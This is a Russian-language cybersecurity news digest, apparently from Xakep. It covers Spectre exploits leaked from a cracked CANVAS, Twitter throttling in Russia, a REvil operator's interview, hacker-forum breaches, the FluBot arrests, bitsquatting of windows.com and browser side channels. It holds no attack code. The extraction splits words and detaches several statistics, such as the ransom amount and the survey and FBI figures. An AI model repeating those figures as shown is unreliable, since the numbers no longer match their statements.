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В  этом  месяце:  Рос комнад зор  замед лил  Twitter  в  Рос сии,
в сети най дены «боевые» экс пло иты для уяз вимос ти Spectre,
хакер ские форумы стра дают от взло мов и уте чек, ком пании
несут  мил лиар дные  убыт ки  из‐за  кибера так,  а  в
секс‐игрушках опять обна ружи ли мно жес тво уяз вимос тей.

ЭКСПЛОИТЫ 
ДЛЯ SPECTRE
Фран цуз ский  ИБ‐спе циалист  Жюль ен  Вуазен  (Julien  Voisin)  обна ружил,  что
в начале фев раля 2021  года нек то заг рузил на VirusTotal  экс пло иты для  уяз‐ 
вимос ти Spectre (CVE‐2017‐5715). Это пер вый слу чай, ког да «боевой» экс пло‐ 
ит для дан ной проб лемы стал дос тоянием общес твен ности.

INFO

Ори гиналь ная  проб лема  Spectre 
в  2018  году  наряду  с  багом Meltdown.  Эти фун‐ 
дамен таль ные  недос татки  в  архи тек туре  сов‐ 
ремен ных  про цес соров  поз воля ют  лег ко
нарушить  изо ляцию  адресно го  прос транс тва,
про читать  пароли,  клю чи  шиф рования,  номера
бан ков ских  карт,  про изволь ные  дан ные  сис‐ 
темных  и  дру гих  поль зователь ских  при ложе ний
в обход любых средств защиты и на любой ОС.

бы ла  най дена

Фак тичес ки  три  года  назад  эти  проб лемы
вынуди ли  про изво дите лей  про цес соров  перес‐ 
мотреть под ход к про екти рова нию CPU, ясно дав
понять,  что  нель зя  сос редота чивать ся  лишь
на про изво дитель нос ти в ущерб безопас ности.

В 2018 году, вско ре пос ле обна руже ния Meltdown и Spectre, ИБ‐спе циалис ты
отме чали,  что  авто ры  вре донос ных  прог рамм  активно  экспе римен тиру ют
с  эти ми  уяз вимос тями,  а  в  сети  в  целом  и  на  VirusTotal  в  час тнос ти  мож но
было най ти сле ды этой деятель нос ти. Но тог да все это ни к чему не при вело,
и  в  реаль нос ти  так  и  не  было  най дено  никаких  доказа тель ств  экс плу ата ции
обе их уяз вимос тей.

Те перь  же,  по  дан ным  Вуазе на,  все  изме нилось.  Он  нашел  новые,
отличные от пре дыду щих экс пло иты для Spectre — один для Windows и один
для Linux. В час тнос ти, вер сия для Linux спо соб на сде лать дамп содер жимого
фай ла  /etc/shadow,  в  котором  хра нят ся  све дения  об  учет ных  записях  поль‐ 
зовате лей  ОС.  Это  опре делен но  вре донос ное  поведе ние,  одна ко  пока  нет
никаких доказа тель ств  того,  что сам экс пло ит при менял ся на прак тике, а не
был заг ружен на VirusTotal каким‐то пен тесте ром.

В сво ей статье Вуазен намек нул, что он понял, кто мог сто ять за соз дани‐ 
ем этих экс пло итов. По его сло вам, атри буция в дан ном слу чае весь ма три‐ 
виаль на  и  читате ли  бло га  смо гут  догадать ся  обо  всем  самос тоятель но.
ИБ‐экспер ты в Twitter и на HackerNews про вели собс твен ный ана лиз и быс тро
поняли, что новый экс пло ит для Spectre может быть модулем для пен тестер‐ 
ско го инс тру мен та CANVAS, раз работан ного  Immunity  Inc. На это же в Twitter
намек нул и быв ший гла ва  Immunity Дэйв Айтель, отме чая, что ком пания рек‐ 
ламиро вала этот модуль еще в фев рале 2018 года.

Как  ста ло  извес тно  СМИ,  недав но  на  хакер ском  форуме  RAID  была  опуб‐ 
ликова на  взло ман ная  вер сия  Immunity  CANVAS  v7.26,  а  так же  взло ман ные
копии White  Phosphorus  и  D2  (два  пакета  рас ширений  для  CANVAS,  содер‐ 
жащие наборы экс пло итов для раз личных уяз вимос тей). Сре ди тех уяз вимос‐ 
тей был и экс пло ит для проб лемы CVE‐2017‐5715.

Из вес тно, что взло ман ные вер сии это го инс тру мен тария рас простра няют‐ 
ся  в  час тных  Telegram‐каналах  по мень шей мере с октября 2020  года. Судя
по  все му,  имен но  они  пос лужили  источни ком  экс пло итов,  заг ружен ных
на VirusTotal.

Так же  сто ит  ска зать,  что  в  этом  месяце  инже неры  Google  опуб ликова ли
собс твен ный  JavaScript‐экс пло ит,  который  демонс три рует  эффектив ность
исполь зования  уяз вимос ти  Spectre  в  бра узе рах  для  дос тупа  к  информа ции
в памяти. Этот PoC‐экс пло ит работа ет с широким спек тром архи тек тур, опе‐ 
раци онных  сис тем  и  поколе ний  обо рудо вания.  Он  на  прак тике  доказы вает,
что защит ные механиз мы, которые раз работ чики добави ли в свои бра узе ры
(нап ример,  изо ляция  сай тов,  Cross‐Origin,  Cross‐Origin  Read  Blocking  и  так
далее), фак тичес ки не работа ют.

В  Google  счи тают,  что  раз работ чики  дол жны  исполь зовать  для  защиты
от Spectre и дру гих cross‐site‐атак новые механиз мы безопас ности. Помимо
стан дар тных средств защиты, таких как X‐Content‐Type‐Options и X‐Frame‐Op‐
tions, в Google рекомен дуют при менять:

Cross‐Origin Resource Policy (CORP) и Fetch Metadata Request Headers;•
Cross‐Origin Opener Policy (COOP);•
Cross‐Origin Embedder Policy (COEP).•

ВЫМОГАТЕЛЬСТВО НА   БИТКОЙНОВ500

Раз работ чики крип товалю ты Tether (USDT) пре дуп редили, что неиз вес тные лица вымога ли у них
 бит кой нов (при мер но   дол ларов по кур су на тот момент). В слу чае если ком‐ 

пания отка жет ся пла тить, мошен ники обе щали обна родо вать яко бы похищен ные у нее дан ные.
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Хо тя  в  Twitter  рас простра нялись  скрин шоты  яко бы  укра ден ных  у  Tether  дан ных,  в  ком пании
заяви ли, что эта утеч ка — фейк, а докумен ты, которые вык ладыва ют прес тупни ки, под делка.

ЗАМЕДЛЕНИЕ
TWITTER
С  10  мар та  2021  года  работа  Twitter  на  тер ритории  Рос сии  замед лена
на  100%  с  мобиль ных  устрой ств  и  на  50%  со  ста ционар ных  устрой ств
по решению Рос комнад зора. Это свя зано с тем, что, по утвер жде ниям пред‐ 
ста вите лей  ведомс тва,  «Twitter  в  пери од  с  2017  года  по  нас тоящее  вре мя
не  уда ляет  кон тент,  скло няющий  несовер шенно лет них  к  совер шению  само‐ 
убий ств,  содер жащий  дет скую  пор ногра фию,  а  так же  информа цию
об исполь зовании нар котичес ких  средств». Замед ление не будет огра ничи‐ 
вать переда чу тек сто вых сооб щений, а зат рагива ет толь ко фото‐ и виде окон‐ 
тент.

На пом ню,  что  с  1  фев раля  2021  года  всту пил  в  силу  закон,  сог ласно
которо му соци аль ные сети дол жны самос тоятель но выяв лять и бло киро вать
зап рещен ный  кон тент,  и  в  начале  мар та  Рос комнад зор  обви нял  Twitter
в «злос тном наруше нии рос сий ско го законо датель ства».

Пред ста вите ли  Рос комнад зора  под чер кну ли,  что  с  2017  года  по  нас‐ 
тоящее вре мя нап равили свы ше 28 тысяч пер воначаль ных и пов торных тре‐ 
бова ний  об  уда лении  про тивоп равных  ссы лок  и  пуб ликаций,  одна‐ 
ко 3168 матери алов с зап рещен ной информа цией так и не были уда лены. «В
том чис ле 2569 с при зыва ми к совер шению суици да несовер шенно лет ними,
450  с  дет ской  пор ногра фией,  149  с  информа цией  об  исполь зовании  нар‐ 
котиков».

Хо тя  в  ведомс тве  говори ли,  что  так  и  не  дож дались  никако го  отве та
от  соци аль ной  сети,  пред ста вите ли  Twitter  рас простра нили  в  СМИ  сле‐ 
дующее заяв ление:

«Нам  извес тно  о  том,  что  Twitter  в  Рос сии  под вер гся  намерен ному
замед лению  (мас штаб ному  и  бес порядоч ному)  из‑за  бес покой ства
по поводу уда ления кон тента. Давай те про ясним: мы при дер жива емся
полити ки абсо лют ной нетер пимос ти в отно шении сек суаль ной экс плу- 
ата ции  детей,  а  поощ рение,  вос хва ление  само убий ств  и  чле нов- 
редитель ства  и  под талки вание  к  ним  пря мо  про тиво речит  пра вилам
Twitter,  и  мы  зап реща ем  исполь зовать  Twitter  для  любых  про тивоп- 
равных дей ствий и незакон ной деятель нос ти, в том чис ле для покуп ки
и  про дажи  нар котиков.  Мы  по‑преж нему  явля емся  при вер женца ми
откры того  интерне та  для  все го  мира  и  глу боко  обес поко ены  учас- 
тивши мися  попыт ками  заб локиро вать  и  огра ничить  пуб личные
обсужде ния в интерне те».

Нес коль ко  дней  спус тя  в  беседе  с  жур налис тами  ТАСС  замес титель  гла вы
ведомс тва Вадим Суб ботин сооб щил, что Рос комнад зор может рас смот реть
воз можность пол ной бло киров ки сер виса:

«Мы взя ли месяц и наб люда ем за реак цией ком пании Twitter по воп- 
росу уда ления зап рещен ной информа ции. Пос ле чего, в зависи мос ти
от дей ствия адми нис тра ции соци аль ной сети, будут при няты соот ветс- 
тву ющие  решения.  Если  Twitter  не  исполнит  тре бова ния  Рос комнад- 
зора,  тре бова ния  рос сий ско го  законо датель ства,  соот ветс твен но,
будем  рас смат ривать  воп рос  о  пол ной  бло киров ке  сер виса  на  тер- 
ритории Рос сии».

В  кон це  мар та  на  сай те  Рос комнад зора  появи лось  новое  сооб щение,
которое  гла сит,  что  «тем пы  уда ления  зап рещен ной  информа ции  в  Twitter
оста ются  неудов летво ритель ными».  По  дан ным  влас тей,  соци аль ная  сеть
начала  работу  по  уда лению  кон тента,  но  «фак тичес ки  уда лена  толь ко  треть
зап рещен ного  в  Рос сии  кон тента  с  дет ской  пор ногра фией,  матери алов,
скло няющих  детей  к  суици ду,  рек ламиру ющих  при обре тение,  изго тов ление
и упот ребле ние нар котиков».

ИНТЕРВЬЮ UNKNOWN
Пред ста витель  хак‐груп пы,  сто ящей  за  извес тным шиф роваль щиком REvil  (он же Sodinokibi),
дал  интервью  изда нию  The  Record.  Человек,  извес тный  под  ником  Unknown,  рас ска зал,  что
у  груп пиров ки  боль шие  пла ны  на  2021  год,  а  так же  заметил,  что  «денег  никог да  не  быва ет
слиш ком мно го».

→ «Лич но для меня нет потол ка сум мы. Я прос то люб лю это делать и получать от это го при‐ 
быль. Денег никог да не быва ет слиш ком мно го, зато всег да есть риск, что их не хва тит».
О сум ме, которая зас тавила бы его отой ти от дел.

→ «Как  ору жие  [шиф роваль щики]  могут  быть  край не  раз рушитель ными.  Ну,  я  знаю,  что
по  край ней мере нес коль ко наших  кли ентов име ют дос туп  к  сис теме запус ка бал листи чес ких
ракет, еще один — к крей серу ВМС США, вто рой — к атом ной элек трос танции, а тре тий — к ору‐ 
жей ному  заводу.  Впол не  реаль но  раз вязать  вой ну.  Но  оно  того  не  сто ит  —  пос ледс твия
невыгод ны».
О потен циале шиф роваль щиков как ору жия в кибер вой не.

→ «Кри зис ощу тимый, [жер твы] не могут пла тить те сум мы, которые были рань ше. За исклю‐ 
чени ем про изво дите лей фар мацев тичес кой про дук ции. Думаю, на них сто ит обра щать боль ше
вни мания. У них все в поряд ке. Нам сто ит им „помочь“».
О том, как изме нилась ситу ация во вре мя пан демии.

→ «В детс тве я рыл ся в помой ках и курил окур ки. Я ходил десять километ ров в одну сто рону
до шко лы. Я носил одну и  ту же одеж ду по шесть месяцев. В юнос ти,  в  ком мунал ке,  я не ел
по два, а то и по три дня. А теперь я мил лионер».

ХАКЕРЫ ХАКАЮТ
ХАКЕРОВ
Maza
Спе циалис ты ком пании Flashpoint обна ружи ли утеч ку дан ных с зак рытого рус‐ 
ско языч ного хак‐форума Maza (он же Mazafaka). Форум — один из ста рей ших
в сво ем роде и работа ет с 2003 года. Как пишут экспер ты, его основной кон‐ 
тингент — это «самые изощ ренные кибер прес тупни ки и финан совые мошен‐ 
ники, мно гие из  которых начали свою деятель ность еще в середи не — кон‐ 
це 1990‐х годов».

О зло умыш ленни ках, которые ском про мети рова ли Maza, ничего не извес‐ 
тно. Пос ле успешно го взло ма они опуб ликова ли на форуме пре дуп режде ние,
гла сящее:  «Этот форум был взло ман. Ваши дан ные были про пуще ны». Оче‐ 
вид но, рус ский язык не род ной для ата кующих, а сооб щение прог нали через
онлайн‐перевод чик.  Сооб щает ся,  что  утек ли  дан ные  при мер но  3000  поль‐ 
зовате лей.

Су дя  по  все му,  с  форума  утек ли  иден тифика торы  поль зовате лей,  име на
поль зовате лей,  адре са  элек трон ной  поч ты,  ссыл ки  на  мес сен дже ры,  в  том
чис ле Skype, MSN и Aim, а так же пароли, как хеширо ван ные, так и обфусци‐ 
рован ные.  При  этом  в  теме  обсужде ния  взло ма  некото рые  поль зовате ли
заяв ляют,  что  была  похище на  лишь  ста рая  БД,  тог да  как  дру гие  пишут,  что
намере вают ся уйти на дру гой форум.

Эк спер ты Flashpoint отме чают, что известие о взло ме Maza приш ло вско ре
пос ле  успешной  ком про мета ции  дру гого  рус ско языч ного  хак‐форума,  Veri‐
fied,  который  взло мали  20  янва ря  2021  года.  Пос ле  это го,  18  фев‐ 
раля 2021 года, новые адми нис тра торы Verified объ яви ли о сме не вла дель ца
ресур са и начали про цесс деано ними зации пре дыду щих опе рато ров Verified,
извес тных под никами INC, VR_Support и TechAdmin. Новые адми нис тра торы
заяви ли,  что  пре дыду щие  вла дель цы  сай та  регис три рова ли  IP‐адре са  всех
поль зовате лей Verified и в общей слож ности соб рали 3 801 697 адре сов.

По ка неиз вес тно, будут  ли  взлом щики Maza пред при нимать ана логич ные
дей ствия по зах вату форума. Дело в том, что упо мяну тый выше адми нис тра‐ 
тор INC явля ется (или рань ше был) модера тором Maza.

Carding Mafia
Спе циалис ты  агре гато ра  уте чек  Have  I  Been  Pwned  (HIBP)  сооб щили,  что
в сеть попали дан ные поль зовате лей извес тно го кар дер ско го форума Carding
Mafia.

По хоже, форум был взло ман, и в резуль тате в откры тый дос туп про сочи‐ 
лась информа ция о 297 744 поль зовате лях (сум марно поль зователь ская база
ресур са  нас читыва ет  око ло 500  тысяч  человек). По информа ции HIBP,  дамп
вклю чает в себя email‐адре са, IP‐адре са, име на поль зовате лей и хеширо ван‐ 
ные пароли (MD5).

Ос нователь Have I Been Pwned Трой Хант пишет, что ему уже уда лось под‐ 
твер дить  под линность  дам па.  Спе циалист  заметил  в  утек шей  базе  email‐
адре са Mailinator, служ бы, которая поз воля ет любому соз давать одно разо вые
поч товые ящи ки. Хант исполь зовал эти адре са на форуме, задей ство вав фун‐ 
кцию  «Я  забыл пароль»,  и  адре са ока зались  зна комы Carding Mafia,  то есть
исполь зовались для соз дания учет ных записей на форуме.

«Еще  одна  исто рия  о  том,  как  хакеры  хака ют  хакеров»,  —  про ком- 
менти ровал Хант.

Жур налис ты изда ния Vice Motherboard отме чают, что в янва ре текуще го года
на дру гом хакер ском форуме уже пуб ликова лись дан ные, пред положи тель но
укра ден ные  у  Carding  Mafia.  То  есть,  веро ятно,  утеч ка  мог ла  про изой ти
еще тог да.

ИТ‐ШНИКИ ВЫНУЖДЕНЫ МОЛЧАТЬ
Эк спер ты «Лабора тории Кас пер ско го» про вели опрос, в котором при няли учас тие 5266 IT‐спе‐ 
циалис тов из 31 стра ны, вклю чая Рос сию, и под счи тали, что две тре ти рос сий ских IT‐ком паний
зап реща ют  сво им  ана лити кам  делить ся  дан ными  о  киберуг розах  с  про фес сиональ ным  сооб‐ 
щес твом.

В Рос сии   ана лити ков киберуг роз сос тоят в про фес сиональ ных сооб щес твах. Но делить ся
резуль татами сво их иссле дова ний с кол легами по индус трии не могут   таких сот рудни ков
из сфе ры IT и кибер безопас ности: это зап рещено пра вила ми ком пании.

68%
69%

Ча ще  все го  ана лити ки  обща ются  на  спе циали зиро ван ных  форумах  и  в  бло гах  ( ),
на теневых форумах ( ) и в груп пах в соц сетях ( ). Но толь ко каж дый пятый спе циалист
( ) делит ся сво ими наход ками.
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Ес ли  пра вила  ком пании  допус кают  обмен  такой  информа цией  с  сооб щес твом,  то  это  дела ет
поч ти каж дый вто рой ( ), если же нет, то лишь око ло   наруша ют зап рет.49% 5%

БОТНЕТ FLUBOT
Влас ти  Бар селоны  сооб щили  о  задер жании  четырех  подоз рева емых
в управле нии Android‐бот нетом FluBot, который уже заразил боль ше 60 тысяч
устрой ств, при чем 97% жертв находи лись в Испа нии.

FluBot пред став ляет собой бан ков ский тро ян,  который спо собен показы‐ 
вать  фей ковые  экра ны  логина  поверх  дру гих  при ложе ний.  Таким  обра зом
вре донос собира ет учет ные дан ные от элек трон ного бан кинга и дан ные пла‐ 
теж ных карт сво их жертв. Впер вые FluBot был замечен экспер тами ком пании
ThreatFabric в начале текуще го года, а недав но ана лити ки швей цар ской фир‐ 
мы PRODAFT под готови ли под робный отчет об этой мал вари. Похоже, имен‐ 
но соб ранные экспер тами дан ные и при вели к арес ту опе рато ров мал вари.

Вну шитель ное количес тво зараже ний FluBot объ ясня ется наличи ем в его
коде чер веоб разно го механиз ма, бла года ря которо му зло умыш ленни ки мог‐ 
ли  заг рузить  адресную  кни гу  жер твы  на  свой  управля ющий  сер вер  и  рас‐ 
сылать отту да вре донос ный SMS‐спам. Такие SMS‐сооб щения содер жат раз‐ 
личные  при ман ки,  что бы  зас тавить  получа теля  перей ти  по  ссыл ке.  Ссыл ки
обыч но ведут на взло ман ные сай ты,  где опе рато ры FluBot раз меща ют свою
мал варь, скры тую внут ри APK‐фай лов.

Ана лити ки  PRODAFT  пре дуп режда ли,  что  с  заражен ных  устрой ств  было
соб рано  боль ше  11  мил лионов  телефон ных  номеров  (это  поч ти  25%  все го
населе ния  Испа нии),  а  каталон ские  офи циаль ные  лица  говорят,  что  отсле‐ 
дили не менее 71 тысячи спам‐сооб щений, отправ ленных груп пой.

Ис пан ские пра воох раните ли сооб щают, что ими были задер жаны чет веро
муж чин в воз расте от 19 до 27 лет, чьи име на не раз гла шают ся. Двое из них
счи тают ся  лидера ми  груп пиров ки  и  оставле ны  под  стра жей,  тог да  как  еще
двое  были  отпу щены  на  сво боду,  но  обя заны  явить ся  в  суд.  Похоже,  один
из  лидеров  хак‐груп пы  отве чал  за  тех ничес кую  сто рону  опе раций  FluBot,
написал мал варь и соз давал фаль шивые стра ницы логина для ими тации раз‐ 
личных бан кингов.

Сле дова тели так же про вели обыс ки в квар тирах подоз рева емых, где изъ‐ 
яли налич ные, ноут буки, докумен ты и мобиль ные устрой ства. Яко бы некото‐ 
рые из этих мобиль ных устрой ств были куп лены на день ги пос тра дав ших.

Нес мотря на эти арес ты, FluBot по‐преж нему акти вен и про дол жает рас‐ 
простра нять ся.  Пока  неяс но,  оста лись  ли  на  сво боде  дру гие  чле ны  груп пы,
руково дящие  бот нетом,  или  управля ющие  сер веры  вре доно са  работа ют
авто мати чес ки и сей час бот нет фун кци они рует «по инер ции».

URSNIF АТАКОВАЛ   БАНКОВ100
Бан ков ский  тро ян  Ursnif  про дол жает  ата ковать  поль зовате лей  по  все му  миру.  Уже  нес коль ко
лет  он  рас простра няет ся  через  фишин говые  пись ма,  написан ные  на  раз ных  язы ках.  Тро ян
не толь ко спо собен похищать бан ков ские дан ные, но и может получить дос туп к элек трон ным
пись мам и бра узе рам жер твы, а так же доб рать ся до крип товалют ного кошель ка.

По дан ным ком пании Avast, в пос леднее вре мя глав ной целью Ursnif ста ли италь янские бан ки
и их кли енты: зло умыш ленни ки ата кова ли поль зовате лей более   бан ков и похити ли более

 учет ных дан ных толь ко для одно го опе рато ра пла тежей.
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БИТСКВОТТИНГ 
И WINDOWS.COM
Не зави симый  ИБ‐спе циалист,  извес тный  как  Рэми  (Remy),  обна ружил,  что
домены  Microsoft  не  защище ны  от  битс квот тинга.  Эксперт  про водил  свои
экспе римен ты на при мере домена windows.com, который может прев ратить‐ 
ся, нап ример, в windnws.com или windo7s.com в слу чае перево рота битов.

INFO

Тер мином    (англ.  Bitsquatting)
обоз нача ют  раз новид ность  киберс квот тинга,
которая  пред лага ет  исполь зовать  раз личные
вари ации  легитим ных  доменов  (обыч но  отли‐ 
чающиеся от ори гина ла на 1 бит). Исполь зование
битс квот тинго вых  доменов  обыч но  про исхо дит
авто мати чес ки,  ког да  с  компь юте ра,  на  котором
про изо шел  перево рот  битов,  дела ется  DNS‐зап‐ 
рос.

битс квот тинг

Фун дамент иссле дова ния Рэми стро ится на том фак те, что вся информа ция,
по  сути,  сос тоит  из  нулей  и  еди ниц  и  то  же  самое  каса ется  доменов.
Как извес тно, биты могут перево рачи вать ся (0 прев раща ется в 1 или наобо‐ 
рот), реаги руя на кос мичес кое излу чение, колеба ния мощ ности, тем перату ры
и так далее. При чем в 2010 году ИБ‐экспер ты уже выяс няли, что на компь юте‐ 
ре  с  4  Гбайт  опе ратив ной  памяти  есть  96%‐й  шанс  перево рота  битов
в течение трех дней.

«Теперь  пред положим,  что  компь ютер  слиш ком  силь но  наг рева ется,
про изош ла  сол нечная  вспыш ка  или  кос мичес кий  луч  (совер шенно
реаль ная шту ка)  перевер нул биты на  компь юте ре, — пишет Рэми. —
О  нет!  Теперь  в  памяти  хра нит ся  зна чение  whndows.com,  а  не  win-
dows.com! Что же про изой дет, ког да при дет вре мя уста новить соеди- 
нение с этим доменом? Домен не соот ветс тву ет IP-адре су».

В  ито ге  Рэми  сос тавил  спи сок  доменов,  которые могут  обра зовать ся  из‐за
перевер нутых  битов.  Он  обна ружил  32  дей стви тель ных  домен ных  име ни,
14 из которых не были зарегис три рова ны и ока зались дос тупны для зах вата.

«Это весь ма стран ный слу чай, пос коль ку обыч но ком пании, подоб ные
Microsoft,  выкупа ют  такие  домены,  что бы  пре дот вра тить  их  исполь- 
зование фишера ми. Поэто му я купил их. Все. При мер но за 126 дол- 
ларов», — рас ска зыва ет иссле дова тель.

Куп ленные Рэми домены: windnws.com, windo7s.com, windkws.com, windmws.‐
com,  winlows.com,  windgws.com,  wildows.com,  wintows.com,  wijdows.com,
wiodows.com, wifdows.com, whndows.com, wkndows.com, wmndows.com.

Воз можно, эта проб лема может показать ся  чис то  теоре тичес кой, одна ко
ИБ‐экспер ты не раз сооб щали об успешном прак тичес ком при мене нии таких
атак.  К  при меру,  на Black Hat  2011 был пред став лен док лад под наз вани ем
«Bit‐squatting  DNS  Hijacking  without  Exploitation»,  в  котором  иссле дова тель
рас ска зывал,  как  он  зах ватил  31  вари ант  для  вось ми  легитим ных  доменов
нес коль ких  орга низа ций.  И  в  сред нем  он  нас читал  3434  ежед невных  DNS‐
зап роса к этим доменам.

Те перь Рэми про делал то же самое для windows.com. В допол нение к тра‐ 
фику,  пред назна чен ному для windows.com, иссле дова тель смог перех ватить
UDP‐тра фик, пред назна чен ный time.windows.com, а так же TCP‐тра фик, адре‐ 
сован ный  раз личным  служ бам  Microsoft,  вклю чая  Windows  Push  Notification
Services (WNS) и SkyDrive (быв шее наз вание OneDrive).

«Неуди витель но, что служ ба NTP, которая работа ет на всех Windows-
компь юте рах  в  мире  с  кон фигура цией  по  умол чанию,  исполь зующей
time.windows.com,  генери рует  наиболь ший  тра фик  для  перевер нутых
битов, — пишет Рэми. — Но все рав но у меня было   и дру гого
тра фика».

мно го

Ис сле дова тель пишет, что сама воз можность битс квот тинга — это очень тре‐ 
вож ный знак, потому что таким обра зом зло умыш ленни ки могут соз дать мно‐ 
жес тво проб лем для безопас ности при ложе ний.

По мимо  тра фика,  воз ника юще го  из‐за  перевер нутых  битов,  Рэми  обна‐ 
ружил, что немалое количес тво зап росов, похоже, исхо дит от поль зовате лей,
неп равиль но вво дящих домен ные име на. Одна ко понять, какой имен но про‐ 
цент зап росов про исхо дит от опе чаток, не пред став ляет ся воз можным:

«К  сожале нию,  из‑за  при роды  битс квот тинга  нет  никако го  спо соба
про верить,  что  это  не  орфогра фичес кие  ошиб ки.  Единс твен ная
информа ция,  дос тупная  для  иссле дова ния,  —  та,  что  отправ ляет ся
вмес те с зап росом (нап ример, заголо вок рефере ра и дру гие заголов- 
ки)».

За щищать ся от битс квот тинго вых атак эксперт пред лага ет нес коль кими спо‐ 
соба ми. К при меру,  ком пании могут регис три ровать домены,  которые могут
исполь зовать ся для битс квот тинга. Чаще все го так и про исхо дит. Нап ример,
time.apple.com  защищен  от  подоб ных  атак,  в  отли чие  от  time.windows.com.
Так же Рэми упо мина ет ECC‐память, которая может помочь защитить компь‐ 
юте ры и мобиль ные девай сы от проб лемы перево рота битов.

Пред ста вите ли Microsoft сооб щили СМИ, что им «извес тны обще отрасле‐ 
вые методы соци аль ной инже нерии, которые могут исполь зовать ся для нап‐ 
равле ния  кли ентов  на  вре донос ные  сай ты»  и  посове това ли  поль зовате лям
«про являть  осто рож ность  при  перехо де  по  ссыл кам,  откры тии  неиз вес тных
фай лов или при нятии переда чи фай лов».

TELEGRAM ПРОДАЛ ОБЛИГАЦИИ
В этом месяце ком пания Telegram успешно про дала инвесто рам со все го мира обли гации мес‐ 
сен дже ра  общей  сто имостью  более  1  мил лиар да  дол ларов.  Павел  Дуров  обе щал,  что  эти
средс тва пос пособс тву ют гло баль ному рос ту Telegram, поз воляя ему сох ранить свои цен ности
и незави симость. Теперь же он пояс няет, что обли гации Telegram Group не помогут вла дель цам
вли ять на полити ку мес сен дже ра и при нимать какие‐либо решения о его раз витии.

→ «Вла дение обли гаци ями не явля ется каким‐либо зна чимым рычагом дав ления, рав но как и
„друж ба“  с  кем‐то,  кто  вла деет  обли гаци ями.  Обли гации  Telegram  —  прос то  фор ма  дол га,
которую  любой  инвестор  теперь  может  при обрести  на  вто рич ном  рын ке.  Ни  один  из  этих
инвесто ров не получа ет никаких прав на управле ние Telegram или вли яние на его полити ку.

Вы пуск обли гаций силь но отли чает ся от про дажи акций, при которой инвесто ры получа ют
голосу ющие акции, мес та в совете дирек торов и так далее».

СЛЕЖКА 
БЕЗ JAVASCRIPT
Груп па  уче ных  из  Уни вер ситета  Бен‐Гури она  (Изра иль),  Уни вер ситета  Аде‐ 
лаиды (Авс тра лия) и Уни вер ситета Мичига на (США) пред ста вила иссле дова‐ 
тель скую  работу  под  наз вани ем  «Prime+Probe  1,  JavaScript  0:  Overcoming
Browser‐based Side‐Channel Defenses»,  пос вящен ную  ата кам  по  сто рон нему
каналу (side‐channel) с исполь зовани ем бра узе ров.

В  сво ем  док ладе  иссле дова тели  демонс три руют,  что  side‐channel‐ата ки
на бра узе ры по‐преж нему воз можны, нес мотря на все уси лия про изво дите‐ 
лей и все меры по их устра нению. Хуже того, подоб ные ата ки работа ют даже
в  защищен ных  бра узе рах,  ори енти рован ных  на  кон фиден циаль ность,
которые были спе циаль но защище ны от атак  типа Spectre,  вклю чая бра узер
Tor, Chrome с рас ширени ем Chrome Zero и Firefox с рас ширени ем DeterFox.

Эк спер ты  пишут,  что  даже  при  пол ностью  отклю чен ном  JavaScript  ата ка
по  сто рон нему  каналу,  осно ван ная  исклю читель но  на  HTML  и  CSS,  тоже
может при вес ти к утеч ке дос таточ ного количес тва дан ных из бра узе ра. Такой
утеч ки (даже без JS) хва тит для того, что бы с чуть мень шей точ ностью иден‐ 
тифици ровать  и  отсле живать  поль зовате лей,  опре деляя,  к  при меру,  какие
сай ты посещал человек.

При  этом  в  док ладе  под черки вает ся,  что  ата ки  были  про тес тирова ны
не  толь ко  про тив  бра узе ров,  работа ющих  в  сис темах  на  про цес сорах  Intel
(которые в прош лом чаще все го ока зыва лись уяз вимы для атак по сто рон ним
каналам),  но  и  про тив  бра узе ров,  работа ющих  в  сис темах  с  про цес сорами
Samsung Exynos, AMD Ryzen и даже новым чипом M1 от Apple. В ито ге дан ное
иссле дова ние  ста ло  пер вым  слу чаем,  ког да  side‐channel‐ата ка  сра бота ла
про тив Apple M1.

Эк спер ты  говорят,  что  уве доми ли  инже неров  Intel,  AMD,  Apple,  Chrome
и  Mozilla  о  сво их  выводах  еще  до  пуб ликации  иссле дова тель ской  работы,
одна ко не сооб щает ся, какие отве ты были получе ны от про изво дите лей.

Ин терес но,  что  недав но  раз работ чики  Google  Chrome  приз навали,  что,
даже нев зирая на новую фун кцию Site  Isolation, ата ки по сто рон ним каналам
в  сов ремен ных  бра узе рах  невоз можно  заб локиро вать  пол ностью.  Так же
инже неры Google  говори ли о  том,  что side‐channel‐ата ки вско ре перес танут
нуж дать ся в JavaScript и будут осу щест влять ся толь ко с помощью CSS. Что бы
защитить ся  от  таких  проб лем,  они  приз вали  раз работ чиков  перес мотреть
под ход к соз данию сай тов и обра бот ке дан ных.

МИЛЛИАРДЫ УБЫТКОВ ИЗ‐ЗА ХАКЕРОВ
ФБР опуб ликова ло  еже год ный  отчет  о  прес тупле ниях  в  интерне те.  По  дан ным  пра витель ства
США, 2020 год стал рекор дным по количес тву кибер прес тупле ний.

В прош лом году ФБР получи ло   жалоб на раз личные кибер прес тупле ния, что на 
боль ше   жалобы, получен ной пра воох раните лями в 2019 году.

791 790 69%
467 361

Об щие  потери  пос тра дав ших  тоже  воз росли:  за  про шед ший  год  жер твы  сооб щили  о  потере
средств на сум му более   дол ларов, что на   боль ше, чем в 2019 году, ког‐ 
да пос тра дав шие сооб щали о потерях в раз мере   дол ларов.

4,2 мил лиар да 20%
3,5 мил лиар да

Как и в пре дыду щие годы, наиболь шее чис ло проб лем было свя зано с  так называ емым EAC‐
и  BEC‐ска мом  (Email  Account  Compromise  и  Business  Email  Compromise).  Такие  афе ры  ста ли
при чиной  убыт ков  в  раз мере    дол ларов,  что  сос тавило  око ло    от  всех
потерян ных средств за прош лый год.

1,8  мил лиар да 43%

Так же  на    воз росло  количес тво  вымога тель ских  атак,  а  убыт ки  от  таких  прес тупле ний
пре выси ли   дол ларов, про тив   дол ларов в 2019 году.

225%
29,1 мил лиона 8,9 мил лиона

ОПАСНЫЕ 
СЕКС‐ИГРУШКИ
Ана лити ки  ESET  Дениз  Джус то  Билич  (Denise  Giusto  Bilić)  и  Сесилия  Пас‐ 
торино  (Cecilia  Pastorino)  изу чили  нес коль ко  умных  устрой ств  для  взрос лых
и  приш ли  к  выводу,  что  с  точ ки  зре ния  безопас ности,  к  сожале нию,  даже
новые  модели  таких  девай сов  по‐преж нему  пред став ляют  собой  весь ма
печаль ное зре лище.

Ос новное  бес покой ство  иссле дова телей  свя зано  с  тем,  что  носимые
устрой ства и «умные» секс‐игрушки осна щены мно гочис ленны ми фун кци ями,
вклю чая дос туп в интернет и под дер жку Bluetooth, дос туп к онлайн‐кон ферен‐ 
циям  и  мес сен дже рам.  Все  это  откры вает  боль шие  воз можнос ти  для  зло‐ 
